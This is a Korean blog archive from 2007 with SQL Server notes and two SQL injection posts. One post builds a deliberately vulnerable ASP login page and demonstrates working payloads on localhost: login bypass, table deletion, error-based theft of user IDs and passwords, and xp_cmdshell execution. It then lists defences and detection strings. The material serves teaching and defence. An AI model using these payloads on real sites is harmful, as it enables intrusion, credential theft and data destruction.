그러나 미러링에 대한 실질적인 기능에 대한 이야기가 없는거 같아 실습하면서 해본걸 몇자 적어 본다

1. 2대로 구성하는 것과 3대(모니터링)로 하는것의 차이는 무엇인가?

- 2대로 하는건 수동으로 장애 처리가 된다. 즉, 1대가 죽었을때 자동으로 복구가 되지 않고 수동으로 복구가 된다.
  그리고 주서버가 죽었을때 미러링 되는 서버로 복구가 어떻게 되는 잘 모르겠다. 아직~;;
  3대(모니터링)은 자동으로 구성되게 설정을 하였으면 자동으로 복구가 된다. 위에서 말한 복구란 얘기는 미러링되는 서버가 주서버 역할을 한단 얘기다.

2. 3대로 구축할때 모니터링서버의 조건은?

- 버전은 무료 버전인 sql 2005 edtion ?? 까지도 된다고 그러든데 일단 서버 버전은 왠만한건 다 되는거 같고
  멀 구축하거나 그런건 없고 설치 후 디폴트상태나 그냥 쓰던거로 하면 된다.

3. 3대(모니터링) 구축할때 주의할 사항은?

- 일단 계정을 하나 생성해서 서비스를 실행 시켜야 하고 윈도우 관리자 계정도 맞춰주는게 좋은거 같다. 난 그렇  게 했다. 보안 구성을 할때 서버주소를 아이피주소로 해주고 다른 대역 아이피로 했을때는 잘 안되어서 같은 대역 아이피로 해서 구성을 하니 잘 되었던거 같은데 그건 확실치 않아서 참고 하기 바란다.

4. 미러링시 장애가 발생했는때는?

- 주서버가 장애가 발생되었을때가 가장 유용하게 쓰일 것이다. 그러면 장애가 발생되었다면 모니터링 서버에서 주서버가 죽었으니 미러링 서버가 주서버 역할을 해라라고 지시를 해서 미러서버가 주서버 역할을 즉시 한다.
다른 부차적인 경우 ( 장애 조치... 등 ) 는 책이나 검색을 하면 잘 나올 것이다.
- 데이터베이스미러링모니터에서 미러링 상태 / 미러링 모니터서버연결 에서 4개중에 하나라도 에러가 나면 위의 현상이 잘 안된다. 구성은 잘되어도 4개중에 하나가 에러나는 경우도 있어서 힘들었다는.... 어떻게 해결했냐면 다시 깔고 구성을 다시 하니 되던데... 그건 나도 모르겠다는!

5. 구축하면서 가장 힘들었던 점은?

- 구성만 있고 장애시 어떻게 되는지 나와있는데가 하나도 없다ㅡㅡ;; 왜 2대와 3대로 구축했을때의 차이도 ㅡㅡ;; 계정을 어떻게 맞춰주는지도 자세히 안나와 있었던거 같다. 구성하는 사람은 잘 되었겠지만 초보인 나에게는 힘들었다는...

Comment 0

@@IDENTITY

SQL 2007/12/12 17:46

INSERT INTO Character_Base VALUES( 2, 1, getdate() )

SELECT @@IDENTITY

Comment 0

오류 18483 : 'distributor_admin'이 서버에서...

SQL 2007/12/10 17:05

오류 18483 : 'distributor_admin'이 서버에서 원격 로그인으로 정의되어 있지 않기 때문에...

라는 오류가 나는 것은 실제 네이버에 검색을 해 보면 제각각입니다.


대부분 이런 경우는 이미지일 경우가 많으며, 설치시 이전에 설치되었던 이름과 틀릴경우 발생합니다.

조치 방법으로는 다음과 같이 해야합니다.


select * from sysservers


이때 서버에 등록된 리스트가 뜹니다.

아래와 같이 서버네임과 repl_...의 datasource소스가 같아야 합니다.



그러나 실제로 이와 같이 되어 있지 않을 경우 위와 같은 오류가 나오며,

이럴때는 다음과 같이 처리를 해야합니다.


우선 srvid가 0이 실제 등록된 서버명과 틀릴경우 그것을 삭제해야 합니다.

sp_dropserver 'server_name'


이와 같이 해서 그를 삭제하고 현재 시퀄에 등록된 이름을 다음과 같이 등록합니다.

sp_addserver 'server_name',local


이와 같이 하면 0번에 새로운 서버가 등록이 되고 해결이 됩니다.

그러나 위와 같이 local을 하지 않는다면 srvid가 2번으로 등록이 됩니다. 또는 그 이후의 다른 연속된 번호로 등록이 됩니다.


그럼 도움이 되었기를 바랍니다.

Comment 0

SQL INjection

SQL/Sql Injection 2007/11/06 14:37

▶ ▶ ▶ ▶ ▶ ▶ ▶ SQL INJECTION ◀ ◀ ◀ ◀ ◀ ◀ ◀

꽤 오랜 기간 이어져온 이슈였지만 여전히 그 피해사례의 심각성 및 중요성에 비해
간과되어왔던 부분 중 대표적인 것이 SQL Injection 일 것이다.
많은 응용프로그램에서 개발자의 보안마인드 부족과 결과위주의 접근, 지식의 부재 등

여러 이유로 인해 SQL Injection 공격에 취약성이 발견된다.
실제로 현존하는 여러 웹사이트에서 단순한 공격이 성공하고 있다
.
특히 SQL Injection 공격은 특별히 보안(해킹)관련 지식이 풍부하지 않아도 간단히

수행할 수 있는 공격방법이라서 그 위험성은 아주 크다고 볼 수 있다.

지금부터 SQL Injection 의 여러 공격방법들을 살펴보고 그 심각성을 직접 느껴 본 뒤

적절한 대응책에 대해 알아 본다.

☞ 테스트를 위한 환경설정
1. 회원가입을 처리하는 ASP 페이지를 아래와 같이 만들고 웹 서버에 등록시킨다

- LoginForm.asp -
<html>

  <head>

  <title>SQLInjection Demo</title>   

  <script language="javascript">

     function CheckForm(){

       form = document.LoginForm;

       if(form.MemberID.value.length < 1 ){

         alert("아이디 입력하쇼");

         form.MemberID.focus();

         return false;

       }

       if(form.Password.value.length < 1 ){

         alert("비밀번호 입력하쇼");

         form.Password.focus();

         return false;

       }

       return true;

     }

  </script>

  </head>

  <body>   

  <form name="LoginForm" method="post" action="LoginOK.asp" onSubmit="return CheckForm();">     

     <table border=1 width=500>

       <tr>

         <td width=100>아이디</td>

         <td>

           <input type="text" name="MemberID" size="15">

         </td>

       </tr>

       <tr>

         <td>비밀번호</td>

         <td>

           <input type="text" name="Password" size="40">

         </td>

       </tr>

       <tr align=center>

         <td colspan="2">

           <input type="submit" value=" 로그인 ">        

        </td>

       </tr>

     </table>     

  </form>   

  </body>

</html>

- LoginOK.asp -
<script language="javascript">

  function Error(){

  alert("계정이 다르거나 비밀번호가 다릅니다\n확인후 다시 시도해 주세용~");

  history.back(-1);

  }

</script>

<%

  MemberID = Request("MemberID")

  Password = Request("Password")

 

  strConnect="Provider=SQLOLEDB.1;Persist Security Info=False;User ID=sa;Initial Catalog=SQLInjection;Data Source=(local);Password=1111;"

  set conn = server.createobject("adodb.connection")

  conn.open strConnect

  SQL = "Select * From Tbl_Members Where MemberID = '"& MemberID &"' And Password = '" & Password & "'"

  'SQL = "Select Age From Tbl_Members Where MemberID = '" & MemberID & "'"

  Response.Write SQL

  'Response.ENd

   

  Set Rs = conn.Execute(SQL)

 

  IF Not Rs.EOF Then            '로그인이 성공하면 마이페이지로 보낸다   

  Session("MemberID") = Rs(0)

  Response.Redirect "MyPage.asp"

  ELSE                          '로그인이 실패하면 이전페이지로 다시 보낸다

  Response.Write("<script language='javascript'>Error();</script>")

  END IF

 

  Rs.close

  Set Rs = Nothing

  conn.close

  set conn = nothing

%>


2.
데이터베이스와 테이블을 생성한다
  - SQLInjection
이라는 이름의 데이터베이스 생성
  - Tbl_Members
라는 테이블 생성
  Tbl_Members
테이블 스키마

            MemberID             varchar   20          0

            Password            varchar   20          0

            Name      varchar   50          0

            Age        int          4            0


 
아래와 같이 데이터를 삽입해 둔다

            admin     haha      관리자    30

            test        kaka       테스트맨              31

            babo      huk        바보              32


이렇게 asp와 데이터베이스의 셋팅을 하고 공격유형을 하나하나 살펴보자.


☞ 공격1> 전형적인 공격방법
1.
관리자 계정을 알아낸다
  (
물론 꼭 관리자 계정이 아니라도 되지만.. 여하튼 기 등록된 계정을 알아낸다
 
애인의 계정만 알고 비밀번호를 모를 경우 애인 계정으로 해봐도 되겠정 ^^;)

-
회원가입시 제공되는 회원ID 중복 체크에서 관리계정으로 추정되는

  (
: admin, master, administrator, 사이트도메인명 등) ID 를 알아 낸다

2.
전형적인 홑따옴표와 sql주석문 삽입으로 관리계정으로 로그인 시도한다
 
응용프로그램의 동적쿼리 예시 :
 
셋팅한 asp파일(LoginOK.asp) 로그인시 아이디와 패스워드를 검증하는

 
쿼리가 아래와 같았다.
  (
아직까지 많은 응용프로그램에서 아래와 같은 쿼리가 사용되어 지고 있다
)
  SQL = "Select * From Tbl_Members
        Where MemberID = '"&MemberID &"' And Password = '" & Password & "'"


사례1> 아이디 입력란에 ‘(홑따옴표) 와 주석 삽입으로 불벌 로그인 시도

삽입값 :  admin’--
실행되는 쿼리 :
Select * From Tbl_Members Where MemberID = 'admin'--' And Password = '
아무거나
'
결과 :
비밀번호를 검증하는 부분을 sql 주석으로 만들어 버렸다
.
admin
이라는 id가 존재하기 때문에 위 쿼리는 정상실행되고 불법사용자는

admin
으로 로그인 하게 된다.


사례2>비밀번호 입력란에‘(홑따옴표) or 조건 및 주석문 삽입으로 역시 불법 로그인 시도

삽입값 : ' or 1=1;--    
실행되는 쿼리 :
Select * From Tbl_Members Where MemberID = 'admin' And Password = '' or 1=1;--'
결과 :
 
비밀번호를 검증하는 부분에 1=1 이라는 항상 참인 조건을 or 조건으로 삽입했다
.
 
역시 admin으로 로그인이 성공하게 된다.


사례3>> 아이디 컬럼명을 알고 있을 경우 불법 로그인 성공(충분히 알 방법이 있습니다)

삽입값 : 1’ or MemberID=’admin
실행되는 쿼리 :
  Select * From Tbl_Members Where MemberID = 'admin' And Password = '1'
  or MemberID='admin'
결과 :
 
역시나 or 조건이 참이므로 admin으로 로그인이 성공하게 된다.


사례4> 회원테이블 명을 알고 있을 경우 회원테이블 삭제를 시도한다(아주 치명적입니다)

삽입값 : ' or 1=1;Delete From Tbl_Members--
실행되는 쿼리 :
Select * From Tbl_Members Where MemberID = 'admin' And Password = '' or 1=1;
  Delete From Test-- '
결과 :
 
회원테이블의 삭제를 시도 합니다. 보통 로그인을 처리하는 데이터베이스 계정은

 
회원테이블의 삭제 권한이 있지요.. 따라서 아주 자~알 삭제됩니다


위 방법은 아주 SQL Injection 의 아주 보편적이고 전형적인 방법들입니다.
이외에도 무수히 많은 형태의 조합이 나오겠지요..(조금만 생각해보면 아주 많죠)
정말 큰일이 아닐 수 없네요..
다음으론 의도적인 SQL 오류를 발생시켜서 데이터베이스의 유용한 정보들을
깨내는 데모를 보여드리겠습니다




☞ 공격2> 의도적인 에러유발 후 데이터베이스 정보 유출 시도

사례1> 컬럼명 알아내기

로그인 폼을 소스보기 하면 MemberID 텍스트 박스의 name 정보를 알수 있습니다.
이것을 활용해 회원테이블의 패스워드 컬럼명을 알아내 봅시다

아래와 같은 url IE에서 바로 접근한다

http://localhost:1212/SQLInjection/LoginOK.asp?MemberID=
아무거나'
IE
는 친절하게도 아래와 같은 아주 친절한(?) 오류메세지를 보여줍니다


Microsoft OLE DB Provider for SQL Server 오류 '80040e14'
'
아무거나' And Password = '' 문자열 앞에 닫히지 않은 인용 부호가 있습니다
.
/SQLInjection/LoginOK.asp,
20


  결과 : 위 오류메세지로 인해 비밀번호 컬럼명이 Password 란 것을 알 수 있습니다.



사례2> 테이블 명 알아내기

  알아낸 패스워드 컬럼을 그룹핑 합니다.
  http://localhost:1212/SQLInjection/LoginOK.asp?MemberID=
아무거나'
   group by (Password) --
  역시 ie는 친절하게도 아래와 같은 오류 메시지를 보여줍니다


Microsoft OLE DB Provider for SQL Server 오류 '80040e14'
'Tbl_Members.MemberID'
열이 집계 함수나 GROUP BY 절에 없으므로 SELECT 목록에서 사용할 수 없습니다
.
/SQLInjection/LoginOK.asp,
20

  결과 :
여기서 우리는 회원테이블명이 Tbl_Members 라는 것을 알수 있습니다

(
덤으로 컬럼명도 하나더 얻었네요 ^^)
추가적으로 다른 컬럼들도 알아내 봅시다.
이미 알아낸 MemberID,Password 컬럼을 group by함으로써 또 다른 컬럼명을

얻을 수 있습니다
. ( group by (Password),(MemberID) )
이 방법으로 모든 컬럼을 알 수 있습니다.(암울 하지요
-.-)
http://localhost:1212/SQLInjection/LoginOK.asp?MemberID=
아무거나
' group by (Password) , (MemberID) --

Microsoft OLE DB Provider for SQL Server 오류 '80040e14'
'Tbl_Members.Name'
열이 집계 함수나 GROUP BY 절에 없으므로 SELECT 목록에서 사용할 수 없습니다
.
/SQLInjection/LoginOK.asp,
20


또 다른 컬럼명(Name)를 알수 있지요..
이런식으로 계속 해 나가면 Tbl_Member 테이블에 모든 컬럼을 알 수 있게 됩니다


  사례3> 특정 테이블 컬럼의 데이터타입 알아내기
  위에서 알아낸 테이블 컬럼명을 사용해서 타입이 다르도록 유도하여 UNION을 시킵니다.
  (
공격자는 시간이 아주 많고 끈기도 강합니다. 무수한 조합이라도 무수히 시도합니다
)
  마침 아래에 Age 필드를 맨 앞으로 놓으니깐 아래과 같은 오류가 납니다
.
  http://localhost:1212/SQLInjection/LoginOK.asp?MemberID=admin' UNION Select Top 1 Age,Password,MemberID,Name FROM Tbl_Members --

  이랬더니 아래와 같은 오류가 나옵니다


Microsoft OLE DB Provider for SQL Server 오류 '80040e07'
varchar
'admin'() int 데이터 형식의 열로 변환하는 중 구문 오류가 발생했습니다
.
/SQLInjection/LoginOK.asp,
20


 

  결과
  즉 회원테이블의 MemberID컬럼의 타입이 varchar이란 것을 알게 되었습니다.
  (
아무것도 아니죠?? 이미~~ 예상했던 타입입니다.. 만 공격자들은 이런곳에서도

  희열을 느낍니다. .. 사실 저도 테스트 중에 많은 희열을 느낍니다 ^^;)

  내부적으로 실행된 코드는 아래와 같겠죠..

  Select * From Tbl_Members Where MemberID = 'admin'

  UNION Select Top 1 Age,Password,MemberID,Name FROM Tbl_Members --' And Password = ''

  여기까지만 해도 회원테이블의 테이블명, 컬럼명, 컬럼의 데이터 타입의 정보를
  모두 캐낼 수 있습니다.



☞ 공격2> 회원아이디 및 비밀번호 알아내기
  (
아주 흥미로운 결과를 알 수 있습니다)
위에서 회원가입폼에서 아이디중복확인 이라는 곳에서 존재하는 아이디를
알 수 있다고 했습니다
그러나 이 방법은 좀 무식하지요.. (회원아이디를 모르는 상태에서 무작위로 검사를 하니깐)
우리는 이미
회원테이블의 많은 것(?)을 알고 있는 상태입니다.
굳이 아이디중복확인 이라는 방법을 사용할 필요가 없습니다

가정을 하나 해보겠습니다.
만일 서버에 아래와 같은 동적 쿼리가 있다고 칩시다
.
SQL = “Select Age From Tbl_Members Where MemberID = ‘” & MemberID & "'"
회원아이디를 입력 받아서 나이를 돌려받는 쿼리 입니다
.
물론 위와 같은 동적쿼리가 서버에 있다는 보장은 없습니다
.
그러나 굳이 찾으려고만 든다면 찾을 수 있습니다
.
중요한 것은 위 쿼리처럼 varchar(nvarchar) 이 아닌 컬럼(위에서는 Age)을 돌려주는
쿼리를 찾으면 됩니다(예상 가능한 항목이 많지요..^^)

여하튼 위와 같은 쿼리가 있구요


보통 회원아이디와 비밀번호는 스트링형태로 저장됩니다.
따라서 varchar 이나 nvarchar 일 가능성이 큽니다
.

사례1> 회원테이블에서 모든 회원 아이디 얻기

Age
컬럼과 MembeID 컬럼을 UNION 함으로써 회원테이블의 첫번째 회원의
아이디를 알아 봅시다
.
위에서 이미 알아본 방식입니다만, 다시 언급합니다
.

공격방법
>
아래와 같이 웹브라우저에서 바로 접근

http://localhost:1212/SQLInjection/LoginOK.asp?MemberID=admin' UNION Select Top 1 MemberID FROM Tbl_Members --
실행되는 쿼리 :
Select Age From Tbl_Members Where MemberID = 'admin' UNION Select Top 1 MemberID FROM Tbl_Members --'

-
오류메세지 -

Microsoft OLE DB Provider for SQL Server 오류 '80040e07'
varchar
'admin'() int 데이터 형식의 열로 변환하는 중 구문 오류가 발생했습니다
.
/SQLInjection/LoginOK.asp,
20

결과 :
~~
여기서 우리는 회원테이블에 첫번째로 저장된 회원id admin 임을 알아 냈습니다.


좀더 해볼까요… (모든 회원아이디를 다 알아봅시다)
admiin
을 알아냈으니 두번째로 저장된 id를 알아 봅시다

아래와 같이 실행 합니다(admin 아이디를 제외한 아이디란 말이죠)
http://localhost:1212/SQLInjection/LoginOK.asp?MemberID=admin' UNION Select Top 1 MemberID FROM Tbl_Members Where MemberID
NOT IN ('admin') --

실행되는 쿼리 :
Select Age From Tbl_Members Where MemberID = 'admin' UNION Select Top 1 MemberID FROM Tbl_Members Where MemberID NOT IN ('admin') --'

- 오류메세지 -

Microsoft OLE DB Provider for SQL Server 오류 '80040e07'
varchar
'test'() int 데이터 형식의 열로 변환하는 중 구문 오류가 발생했습니다
.
/SQLInjection/LoginOK.asp,
20

결과 : 두번째 아이디는 test 이군요..

재밌지요?? 한번만 더 해봅시다.
http://localhost:1212/SQLInjection/LoginOK.asp?MemberID=admin' UNION Select Top 1 MemberID FROM Tbl_Members Where MemberID NOT IN ('admin','test') --

실행되는 쿼리
:
Select Age From Tbl_Members Where MemberID = 'admin' UNION Select Top 1 MemberID FROM Tbl_Members Where MemberID NOT IN ('admin',’test’) --'

-
오류메세지 -

Microsoft OLE DB Provider for SQL Server 오류 '80040e07'
varchar
'babo'() int 데이터 형식의 열로 변환하는 중 구문 오류가 발생했습니다
.
/SQLInjection/LoginOK.asp,
20


결과 : 세번째 아이디는 babo 군요.. 캬캬..


이런식으로 계속 시도하면 회원테이블의 아이디를 모두 알 수 있겠죠..

.. 그럼 아이디는 이제 그만 하구요.. 핵심.. 비밀번호를 알아봅니다


사례2> 특정 회원의 비밀번호 알아내기
이제 아이디를 많이 알아냈으니 그 아이디들의 비밀번호를 알아볼 차례입니다.

아래와 같이 실행합니다

http://localhost:1212/SQLInjection/LoginOK.asp?MemberID=admin' UNION Select Top 1
Password FROM Tbl_Members Where MemberID = 'admin' --

실행되는 쿼리 :
Select Age From Tbl_Members Where MemberID = 'admin' UNION Select Top 1 Password FROM Tbl_Members Where MemberID = 'admin' --'


- 오류메세지 -

Microsoft OLE DB Provider for SQL Server 오류 '80040e07'
varchar
'haha'() int 데이터 형식의 열로 변환하는 중 구문 오류가 발생했습니다
.
/SQLInjection/LoginOK.asp,
20

결과 :
드뎌 나왔습니다. 너무나도 친절하게도

admin
의 비밀번호는 haha 라고 ie는 말해 줍니다.. 신이시여..

이 희열.. 이 감동.. 난 해커야.. 캬캬


그럼 babo 이놈의 비밀번호는 뭘까? 궁금해 집니다.
http://localhost:1212/SQLInjection/LoginOK.asp?MemberID=admin' UNION Select Top 1 Password FROM Tbl_Members Where MemberID = 'babo' --

-
오류메세지 -

Microsoft OLE DB Provider for SQL Server 오류 '80040e07'
varchar
'huk'() int 데이터 형식의 열로 변환하는 중 구문 오류가 발생했습니다
.
/SQLInjection/LoginOK.asp,
20

결과 : 캬캬.. huk 라는 비밀번호를 쓰는군요 (역시 babo 스럽습니다..)


이렇게 하여 우리는 회원테이블에 모든 아이디와 비밀번호를 알 수가 있었습니다.

중간 점검 :
사용자 입력값의 검증 못지않게 웹서버의 에러페이지에 관한 핸들링도 상당히

중요합니다, 기본적으로 에러페이지는 커스텀에러페이지를 따로 만들어 사용합시다


공격4> 시스템 명령어 실행

http://localhost:1212/SQLInjection/LoginOK.asp?MemberID=admin'; EXEC master.dbo.xp_cmdshell' cmd.exe dir c:'--

MSSQL
내장프로시저 xp_cmdshell 을 이용하여 웹서버의 C디렉터리 정보를
캐내려 합니다.(시스템 명령 실행 가능)
이와 같은 내장 프로시저는 아주 많지요
..
ex: xp_grantlogin(
로그인 권한 승인) , xp_regdeletekey (레지스트리 키 삭제) 등등..


이로써 아주 쉽고도 강력한 공격방법들을 알아 보았습니다
생각하면 할수록 새로운 방법들이 새록새록 나올 것입니다.
SQL Injection
은 쉬운 공격에 반해 그 피해는 아주 크다고 볼 수 있습니다
.
그럼.. 본 글을 핵심
!!
SQL Injection 의 완벽 대응책을 알려 드립니다



SQL INJECTION 의 대응책

* 인젝션 공격의 취약성
원인 : 사용자의 입력값을 검증하지 않음

위험요소 : 동적쿼리, 사용자 입력값을 파라메타로 넘겨받는 저장 프로시저
공격유형
  1.
불법 로그인 시도
  2.
고의적 에러발생 : 데이터베이스 조회(db,table,column, 타입등) 후 공격
  3.
시스템 명령어 삽입
  4.
계정/비밀번호 확인
  5.
위험쿼리 실행(DROP,DELETE,UPDATE )
  6.
기타 등등


* 공격 대응책
1. 사용자의 입력값을 받아서 동적쿼리나 저장프로시저를 실행하는 곳이 있다면
 
반드시 그 입력값을 검증하라.
 
위험요소가 있는 입력값은 아래와 같습니다.
  ‘ (
홑따옴표) , -- (sql주석) , ;(sql명령구분자) , “(쌍따옴표), =
 
이런 값들은 원천적으로 봉쇄해버리는 것이 좋습니다
 
2.
서비스 SQL 계정의 권한을 최소한으로 하라.
  SQL
계정의 권한이 막강하다면 시스템명령어 수행, DROP, Delete 등 수행가능
 
또한 Select 권한과 update/delete/insert 권한을 따로 둔다.

3.
웹페이지의 오류정보는 숨겨라.
 
의도적인 sql구문 오류를 유발하여 에러메시지를 보고자 하는 공격에 대비하여
 
커스텀 오류페이지를 따로 만들어서 최소한의 정보만 보여주는 것이 좋습니다.
  (ASP.NET
에서는 관리자만 볼수 있는 오류페이지와 일반 사용자가 볼수 있는
 
오류 페이지를 따로 구분할수 있는 XML기반의 설정파일이 제공됩니다.
 
이 역시 이런류의 문제점을 방지하고자 MS에서 제공하는 것이겠지요??)
  ASP
PHP JSP 는 커스텀 오류페이지를 나타나게 할 수 있습니다.
  (
다 알지요?)

4.
.. 뭐가 있을까요
 
.. 만에 하나를 대비하는 DB백업.
 
.. 다들 고민 해 봅시다.

* SQL Injection
공격하는 놈 찾아내기
 
위의 공격방법 중 의도적인 오류를 발생하는 부분이 있었습니다.
 
이 경우 웹서버는 이런 오류를 500 (서버오류) 로 나타냅니다.
 
500 오류에 대한 로그를 확인해서 특별히 오류가 나타날 소지가 없는
 
페이지에서 계속적으로 500 오류가 난다면 우선 의심해 봐야 합니다.

또한 동일한 페이지를 계속적으로 로딩하는 놈이 있다면 역시 의심대상입니다.
SQL Injection
은 여러 번 시도해봐야 유용한 정보를 캐낼 수 있습니다
따라서 동일한 페이지를 계속 호출하는 클라이언트가 있다면 응징의 대상일
가능성이 높습니다.

웹서버를 운영하는 회사에서는 될 수 있으면 많은 로그를 남기는게 보안상 좋습니다.
또한 로그파일의 주기적인 점검 또한 수반되어야 겠지요..
당신이 프로그래머라면 로그파일을 자동으로 분석해 SQL Injection 공격을
찾아내는 좋은 프로그램을 개발 할 수도 있을 것입니다

tags : sql injection
Comment 0

웹 관리자를 위한 응급처치법 SQL Injection 해킹 보안

SQL/Sql Injection 2007/11/06 11:59
박상옥 | 호스트웨이코리아



몇 해 전부터 중국 해커들로부터 한국의 서버들이 해킹당하는 사례가 급격히 증가하고 있다. 이 같은 해킹 피해 사례가 외부로 알려지지 않은 경우가 많지만, 윈도우 환경에서 서버를 운영하는 국내 유수의 사이트들은 드러난 수치보다 훨씬 빈번하게 SQL Injection으로 인한 피해를 입어왔다.

필자의 실제 경험으로도 그렇다. 필자와 상담한 어느 고객의 경우 SQL Injection의 침입으로 참담한 피해를 감수해야 했다. 이 고객은 MS SQL의 시스템 관리자 계정으로 웹 사이트의 DB 연동을 수행했는데 이 과정에서 SQL Injection의 공격을 받아 시스템은 물론이고, 디스크에 저장된 데이터 모두를 잃고 말았다.

당시 고객이 이용한 디스크는 73GB 용량의 SCSI 디스크였으나, 이것이 논리적으로 인식된 크기는 1TB에 달했다. 이를 로 레벨 포맷하고 나서야 정상적인 크기로 돌아왔지만, 이미 모든 데이터는 사라진 후였다. 이처럼 SQL Injection은 단순한 웹 변조 수준을 넘어 시스템과 디스크 장치까지 피해를 주고 있다.



웹서버 보안을 강화하자

지금부터는 자신이 관리하는 윈도우 시스템에 SQL Injection의 침입 흔적이 있는지를 확인하고, 웹서버의 보안을 강화하는 방법을 살펴보자.

사실 SQL Injection으로 인한 피해는 프로그래머의 부주의에서 비롯된다고 해도 지나치지 않다. 따라서 SQL Injection으로 인한 피해를 예방하려면 다음의 3가지를 우선적으로 지켜야 한다.

①Sysadmin 권한의 계정으로 DB Connection을 하지 말자.
②입력폼 등에서 특수문자나 예외문자에 대한 Replace를 수행한다.
③저장 프로시저(Stored Procedure)를 이용한다.

SQL Injection 방지와 관련한 프로그래밍 자료는 다음 사이트(KISA)에서 다운로드할 수 있다(http://www.kisa.or.kr/ news/2005/announce_20050427_submit.html).


SQL Injection의 3가지 기법

SQL Injection을 이용한 해킹은 시스템의 취약성에 따라 Authentication Bypass, OS call, Query manipulation 등을 조합해 이뤄진다.


■ Authentication Bypass
주로 로그인 창에 적용되는 기법으로 이용자 아이디와 패스워드를 몰라도 로그인할 수 있게 해준다. 테이블의 첫 번째 Row 값을 써서 로그인하고, 만약 그것이 관리자 페이지라면 웹사이트 관리자로 로그인할 수 있다.

<화면1>Authentication Bypass를 써서 보안이 취약한 웹사이트에 로그인 할수 있다.


■ OS Call
OS Call은 Sysadmin 권한 계정으로 DB 연동을 수행했을 때를 노린다. 마스터 DB의 확장 저장 프로시저에서 윈도우 시스템을 핸들링할 수 있는 확장 저장 프로시저들을 실행케 해주는 것이다.

OS Call을 방지하기 위해서는 아래의 확장 저장 프로시저들을 쓰지 못하도록 Disable하거나, 확장 프로시저에 해당하는 DLL 파일을 삭제해야 한다. 그러나 이 역시 완전한 대비책은 못 된다. 삭제된 DLL 파일은 해커에 의해 재생성되거나, 업로드돼 이용될 수 있기 때문이다. 그러므로 해킹을 염려한다면 Sysadmin 권한 계정으로 DB 연동을 절대 수행하지 말아야 한다.


<화면2> OS Call은 확장 프로시저를 이용해 Admin 권한 계정을 생성하는 원리다.



■ Query Manipulation
아래 URL 주소와 같이 예외 처리를 하지 않은 사이트는 SQL Query를 조작할 수 있다.

http://www.somecompany.com/notice.asp?no=5 ;EXEC master. dbo.xp_cmdshell’ cmd.exe dir c:



Injection 자료의 수집

SQL Injection을 위한 데이터는 주로 웹 랭킹 사이트에서 수집된다. 특히 구글 해킹을 통한 admin 페이지 수집이 빈번한 것으로 알려져 있다. 일반적으로 admin 페이지들은 http:// website.com/admin을 이용하는 경우가 많은데 이런 데이터 수집 과정을 감안하면 이는 결코 바람직하지 않다. 또한 해당 사이트나 제품의 취약점을 찾아내주는 SQL Injection Tool도 침입을 위한 자료 수집에 많이 이용되고 있다. 이 도구들은 주로 중국에서 제작돼, 심지어 상용화되기도 한다.


<화면3> Googledock을 이용한 정보 수집



SQL Injection의 피해 확인

일반적으로 웹사이트가 Injection 툴에 의해 침입을 받았다면 DB에 해당 툴을 암시하는 테이블이나, 이용자 계정 정보가 남아 있게 된다. 또한 IIS 웹로그에도 로그 기록이 남기 때문에 이를 통해서도 침입 흔적을 확인할 수 있다.

■ HDSI 툴에 의한 침입
HDSI 툴은 SQL Injection에 취약한 사이트의 DB를 조회하거나 시스템 명령어 등을 실행할 수 있게 해준다. DB에 T_Jiaozhu, jiaozhu, comd_list, xiaopan, Reg_Arrt 등의 테이블을 생성하므로, 이 테이블들의 존재를 확인함으로써 침입 여부를 알 수 있다.


■ D-SQL에 의한 침입
DB에 D99_Tmp라는 테이블이 존재한다면 D-SQL을 써서 시스템 명령어를 실행한 것으로 볼 수 있다. 아울러 D99_Reg 테이블은 레지스트리 수정, D99_Tmp는 디렉토리 탐색, D99_CMD는 명령어 수행이 이뤄졌음을 각각 나타낸다. D-SQL은 또한 IIS 웹로그도 생성한다.

<화면4> HDSI 툴은 T_Jiaozhu, jiaozhu, comd_list, xiaopen, Red_Arrt 등의 테이블을 생성한다.


<화면5> D-SQL의 실행 모습



웹로그에서 확인하기

웹로그에서도 테이블과 관련한 Create나 Select 구문이 없는지를 확인해야 한다. 아울러 확장 저장 프로시저에 대한 로그가 존재하는지도 살펴본다. 웹로그에서 검색해봐야 할 문자열에는 XP_CMDSHELL, Net, user, Update, Insert, drop table 등이 있다.


<화면6> D99_Tmp, D99_Reg, D99_Tmp 테이블은 D-SQL의 침입을 의미한다.



웹서버 보안을 위한 체크 리스트

지금부터는 웹서버 보안을 위한 주요 체크 리스트를 소개한다. 다음의 내용을 자세히 살펴본 후 자신의 웹서버에 해당되는 부분을 찾아 적용해보자. 이 체크 리스트는 대부분 윈도우 2000 환경을 전제로 하고 있다.


■ Patches and Updates
먼저 최신 패치나 서비스팩을 적용했는지 여부와 정기적으로 MBSA를 써서 운영체제 및 애플리케이션 보안을 체크하고 있는지를 확인한다. 현재 2.0 버전이 출시돼 있고, 패치 정보와 윈도우 보안에 대한 가이드도 제공하고 있다. 정기적으로 MS가 제공하는 최신 패치 정보(http://www.microsoft.com/ technet/security/bulletin/notify.asp)를 받아보는 것도 큰 도움이 된다.


■ IISLockdown
IISLockdown이 웹서버에 설치돼 운영되고 있는지를 살펴본다. IISLockdown은 웹서버 보호 과정을 대부분 자동화해주는 도구로 서버 용도나 유형에 따라 여러 보안기능을 해제하거나, 보호할 수 있는 이용자 템플릿을 제공한다. 또한 URLScan을 설치 및 구성했는지도 체크해야 한다. URLScan은 웹사이트 관리자가 서버에서 처리 가능한 웹 요청을 제한할 수 있는 ISAPI 필터로, 잠재적으로 유해할 수 있는 웹 요청을 서버에 도달하기 전에 차단해준다.


■ Services
불필요한 윈도우 서비스들을 disable로 설정했는지도 체크 포인트다. FTP, SMTP, NNTP 서비스 등이 필요치 않다면 설치하지 않는다. 특별한 경우가 아니라면 Telnet과 ASP .NET state service는 중지하는 것이 바람직하다.


■ Protocols
WebDAV를 이용하지 않는다면 중지하고, 필요하다면 반드시 보안 설정을 수행한다. 보안 설정과 관련된 내용은 http:// support.microsoft.com/default.aspx?scid=kb;en-us;Q323470을 참고한다. NetBIOS와 SMB 포트(137, 138, 139, 445 포트)의 Disable 설정도 고려할 만하고, 윈도우 2000이라면 DoS 공격을 대비한 TCP/IP Stack의 강화가 필요하다. 보다 자세한 내용은 http://support.microsoft.com/default. aspx?scid=kb;ko;315669를 참고한다.


■ Accounts
